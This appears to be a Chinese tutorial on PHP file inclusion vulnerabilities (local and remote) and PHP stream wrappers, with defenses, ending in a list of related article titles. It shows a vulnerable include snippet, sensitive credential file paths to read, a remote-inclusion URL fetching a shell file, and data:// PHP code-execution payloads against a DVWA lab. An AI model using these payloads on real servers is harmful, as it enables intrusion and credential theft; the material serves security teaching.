文件包含漏洞及PHP伪协议

  • 文件包含漏洞
    • 1. 原理
      • 攻击利用的原理
      • 攻击成功的条件
    • 2. 分类
      • 本地文件包含
        • LFI的利用
      • 远程文件包含
    • 3. 文件包含漏洞防范
      • 禁止0字节
      • 在PHP中配置open_basedir
      • 尽量避免动态包含的变量
      • allow_url_include置为off
    • 4. PHP伪协议
      • file://
      • http://
      • ftp://
      • php://
        • php://stdin, php://stdout 和 php://stderr
        • php://input
        • php://output
        • php://fd
        • php://memory 和 php://temp
        • php://filter
      • zlib://
      • data://
      • ssh2://
      • ogg://
      • expect://

文件包含漏洞

一般都在url中

1. 原理

在java中 引用一个头文件(类)用的是 import

在C/C++中 引用一个头文件用的是 include

在PHP中 引用一个头文件用的是 include()、require()、include_once()、require_once()

攻击利用的原理

原理:当使用上述四个函数包含一个新的文件的时候,该文件将会被当作PHP来执行,PHP内核并不会在意被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程url,也都会被当作php代码执行。这一特性,在攻击者实施攻击时将非常有用。

<?phpinclude($_GET[file]);
?>

这一段代码写在前端,意思就是向服务器端发送get请求,请求 file=…/…/etc/passwd 的页面,然后展示到前端页面上。因此,我们可以在url框内将file的值改变,提交后,敏感信息就可能被泄露

黑客通常会将文件包含漏洞与上传结合在一起,上传内容带有php语句的图片,在通过文件包含漏洞包含该图片,达到执行php代码的目的,控制服务器。

攻击成功的条件

  1. 上述四个函数通过动态变量的方式引入需要包含的文件
  2. 用户能够控制该动态变量

2. 分类

本地文件包含

Local File Inclusion,简称LFI

http://192.168.1.101/shell123.php //本地IP地址为 192.168.1.101


本地文件包含是能够打开本地文件的漏洞。在攻击的时候,需要先上传payload到跟网站的根目录,然后再执行本地文件包含。但是上传payload之前要知道网站的根目录,找网站根目录有一定难度

LFI的利用

windows下的敏感文件路径

c:\windows\my.ini     \\安装mysql时会将root密码写入该文件
c:\windows\system32\config\sam  \\存放windows管理员登陆密码
c:\windows\system32\inetsrv\MetaBase.xml  \\存放iis配置文件
c:\tomcat5.0\conf\resin.conf  tomcat存放密码的位置

linux下的敏感文件路径

/usr/local/app/apache2/conf/httpd.conf       //apache2缺省配置文件
/usr/local/app/php5/lib/php.ini     //PHP相关设置
/etc/sysconfig/network-scripts/ifcfg-eth0        //查看IP
/etc/my.cnf         //mysql的配置文件
/etc/redhat-release     //系统版本/etc/rc.local   有时可以读出来apache的路径
/etc/passwd   /etc/shadow     //密码存放文件

远程文件包含

在LFI的基础上,将PHP配置文件(php.ini)中的allow_url_include 选项修改为 ON,allow_url_fopen 选项改为 ON

http://192.168.1.103/01/index.php?file=http://192.168.1.101/shell1.txt
//不需要找到网站的根目录,用远程的方式。
//可以购买一个公网服务器,在上面写入payload,然后将此payload写入目标服务器


风险比较高,但是操作比较复杂,不需要找到网站的根目录

3. 文件包含漏洞防范

禁止0字节

防止攻击者截断攻击

<?php
Function getVar($page)
{$value = isset($_GET[$page]) ? $_GET[$page] : null;if (is_string($value)){$value = str_replace("\0",'', $value);}
}
?>

防范原理

为了安全起见,开发人员通常以路径拼接的方式包含文件。

比如攻击者输入的正确路径为 /etc/passwd,提交过后,后台会自动在此路径后面加上一段字符,破坏这个正确的路径,提交给服务器之后,由于攻击者提交的正确路径被修改,因此无响应,就不会泄露敏感信息。

绕过的方式也很简单,就是用url编码的方式

在PHP中配置open_basedir

限制PHP仅能打开某个文件夹的文件,使攻击者无法遍历服务器文件

尽量避免动态包含的变量

尤其是用户可以控制的变量,可以通过枚举实现

<?php
$file = $_GET['page'];//枚举可能的值
Switch ($page) {case 'include.php':case 'file1':case 'file2':case 'file3':include 'C:\phpStudy\WWW\dvwa\vulnerabilities\fi\' . $page . '.php';break;default:include 'C:\phpStudy\WWW\dvwa\vulnerabilities\fi\include.php'
}
?>

allow_url_include置为off

禁止include/require等函数加载远程文件

4. PHP伪协议

此编程语言支持的协议和封装的协议

简单的说,如果要通过php发送http请求,我们可以直接调用php的相关函数。因为开发人员在开发php这个语言的时候,已经将http协议用PHP语言编写好了,我们直接调用即可。

深入了解伪协议,对获取敏感信息有很大的帮助

file://  — 访问本地文件系统
http://      — 访问 HTTP(s) 网址
ftp://      — 访问 FTP(s) URLs
php://      — 访问各个输入/输出流(I/O streams)
zlib://     — 压缩流
data://     — 数据(RFC 2397)
glob://     — 查找匹配的文件路径模式
phar://     — PHP 归档
ssh2://     — Secure Shell 2
rar://      — RAR
ogg://      — 音频流
expect://   — 处理交互式的流

file://

file://这个伪协议可以展示“本地文件系统”
file://这个协议后需跟文件的绝对路径。

用法

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext

DVWA实例

http://

允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。 HTTP 请求会附带一个 Host: 头,用于兼容基于域名的虚拟主机。 如果在你的 php.ini 文件中或字节流上下文(context)配置了 user_agent 字符串,它也会被包含在请求之中。

数据流允许读取资源的 body,而 headers 则储存在了 $http_response_header 变量里。

如果需要知道文档资源来自哪个 URL(经过所有重定向的处理后), 需要处理数据流返回的系列响应报头(response headers)。

用法

http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com

ftp://

ftp:// – ftps:// — 访问 FTP(s) URLs

允许通过 FTP 读取存在的文件,以及创建新文件。 如果服务器不支持被动(passive)模式的 FTP,连接会失败。

打开文件后你既可以读也可以写,但是不能同时进行。 当远程文件已经存在于 ftp 服务器上,如果尝试打开并写入文件的时候, 未指定上下文(context)选项 overwrite,连接会失败。 如果要通过 FTP 覆盖存在的文件, 指定上下文(context)的 overwrite 选项来打开、写入。 另外可使用 FTP 扩展来代替。

如果你设置了 php.ini 中的 from 指令, 这个值会作为匿名(anonymous)ftp 的密码。

用法

ftp://example.com/pub/file.txt
ftp://user:password@example.com/pub/file.txt
ftps://example.com/pub/file.txt
ftps://user:password@example.com/pub/file.txt

php://

php:// — 访问各个输入/输出流(I/O streams)

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

php://stdin, php://stdout 和 php://stderr

php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。 数据流引用了复制的文件描述符,所以如果你打开 php://stdin 并在之后关了它, 仅是关闭了复制品,真正被引用的 STDIN 并不受影响。 注意 PHP 在这方面的行为有很多 BUG 直到 PHP 5.2.1。 推荐你简单使用常量 STDIN、 STDOUT 和 STDERR 来代替手工打开这些封装器。

php://stdin 是只读的, php://stdout 和 php://stderr 是只写的。

php://input

可以执行本地PHP代码

allow_url_include=On

DVWA 实例


用法
php://input
并且 在Post data中输入PHP代码

php://output

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

php://fd

php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。

php://memory 和 php://temp

php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。

php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

zlib://

zlib:// – bzip2:// – zip:// — 压缩流

compress.zlib:// and compress.bzip2://

zlib: 的功能类似 gzopen(),但是 其数据流还能被 fread() 和其他文件系统函数使用。 不建议使用,因为会和其他带“:”字符的文件名混淆; 请使用 compress.zlib:// 替代。

compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。并且可以在不支持 fopencookie 的系统中使用。

ZIP 扩展 注册了 zip: 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密归档开始支持密码,允许数据流中使用密码。 字节流上下文(stream contexts)中使用 ‘password’ 选项设置密码。

可选项

compress.zlib://file.gz
compress.bzip2://file.bz2
zip://archive.zip#dir/file.txt

data://

data:// — 数据(RFC 2397)

自 PHP 5.2.0 起 data:(» RFC 2397)数据流封装器开始有效

用法

data://text/plain;base64,
例如:data://text/plain,<?php phpinfo(); ?>         # data://text/plain,  是固定内容

DVWA实例

// 获取网站首页目录
http://192.168.29.128:8002/?file=data://text/plain,<?php $aa=file_get_contents("http://192.168.29.128"); echo $aa; ?>

ssh2://

ssh2:// — Secure Shell 2

注意: 该封装器默认没有激活
为了使用 ssh2.*

文件包含漏洞及PHP伪协议相关推荐

  1. PHP伪协议-文件包含漏洞常用的伪协议

    在实战中文件包含漏洞配合PHP的伪协议可以发挥重大的作用,比如读取文件源码,任意命令执行或者开启后门获取webshell等,常用的伪协议有 php://filter 读取文件源码 php://inpu ...

  2. 文件源码读取 php伪协议,include(文件包含漏洞,php伪协议)

    点击tips 查看元素,也并没有有用的信息,联想到题目,include 想起了文件包含漏洞. 构造payload ?file=/../../../../../../flag.php 没有返回东西.看完 ...

  3. php伪协议c,文件包含之:php伪协议

    file:// 协议 条件: allow_url_fopen:off/on allow_url_include :off/on 作用: 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受al ...

  4. 第十天文件包含漏洞 php伪协议

    文件包含漏洞 PHP中常见包含文件函数 常见文件包含漏洞代码 文件包含漏洞的危害 伪协议 php使用input读取post请求体的内容 Data:// 数据 Zlib:// 压缩流 文件包含的漏洞的分 ...

  5. 文件包含漏洞原理/利用方式/应对方案

    原理 用户利用文件包含函数上传可执行脚本文件,造成信息泄露或任意命令执行 触发点/检测 文件包含漏洞的检测需要配合代码审计,重点在文件包含的函数 include() require() include ...

  6. 文件包含漏洞 文件伪协议利用

    目录 0x0 文件包含漏洞原理 0x1 检测文件包含漏洞 0x2 文件包含漏洞类型 0x3 文件协议流 0x4 实战 简介 #文件包含漏洞 原理,检测,类型,利用,修复等 #文件包含各个脚本代码 AS ...

  7. 文件包含漏洞及漏洞利用

    文件包含漏洞 文件包含 程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含. 程序开发人员都希望代码更加灵活,所以通 ...

  8. Web安全—文件包含漏洞(RFILFI)

    文件包含函数(RFI&LFI) ASP和JSP只能实现本地文件包含,PHP既可以本地文件包含也可以远程文件包含 1,文件包含漏洞简介: 在日常的应用开发中,开发者会将常用的功能模块单独实现,然 ...

  9. Apache Tomcat 文件包含漏洞(CVE-2020-1938)

    安全公告编号:CNTA-2020-0004 2020年1月6日,国家信息安全漏洞共享平台(CNVD)收录了由北京长亭科技有限公司发现并报送的Apache Tomcat文件包含漏洞(CNVD-2020- ...

最新文章

  1. Android .classpath文件的作用
  2. spring事务管理 TransactionProxyFactoryBean源码分析
  3. 最好的VLAN资料之十一
  4. HTML解析利器HtmlAgilityPack
  5. P3449-[POI2006]PAL-Palindromes【结论题,字符串hash】
  6. netbeans7.4_NetBeans 7.2 beta:更快,更有用
  7. html输入框点击后去掉默认文字颜色,input的一些默认样式的更改
  8. python matplotlib 散点图_python matplotlib散点图颜色
  9. 超详细:Springboot连接centos7下redis6的必要配置和失败分析
  10. 数据结构—平衡二叉树
  11. [再学Python] - 3 - 异常处理 try…except…
  12. pytest测试框架_带你深入理解自动化测试框架Pytest的配置文件!
  13. 写python程序最佳实践_Python后台程序打包最佳实践
  14. 虚拟机 Ubuntu安装gcc和g++
  15. ROS之choro功能包
  16. 大地测量学基础(复习)第二部分
  17. android sim卡pin,如何设置手机的SIM卡的PIN码?
  18. 禁用笔记本电脑自带键盘
  19. Unity实现扇形Slider进度条加载功能
  20. 雪碧图HTML人物,animateSprite-可控制雪碧图(sprites)动画的jQuery插件

热门文章

  1. docker中运行redis主从机连接出现master_link_status:down的解决问题(含坑)
  2. CCNP总结--BGP
  3. Android开发蓝牙操作
  4. SQL查询请假时间明细表
  5. web3D技术实现3D思维导图
  6. IDEA2022.3设置自动生成类的serialVersionUID
  7. 【方向盘】版本历史代码示例之:Servelt、JSP、EL表达式
  8. Linux验证服务器之间的访问权限
  9. 中颖BMS开发全套 锂电池管理保护板开发SH367309
  10. 全球免费公共【 DNS 】解析服务器 IP 地址列表推荐 【解决无法上网+加速+防劫持】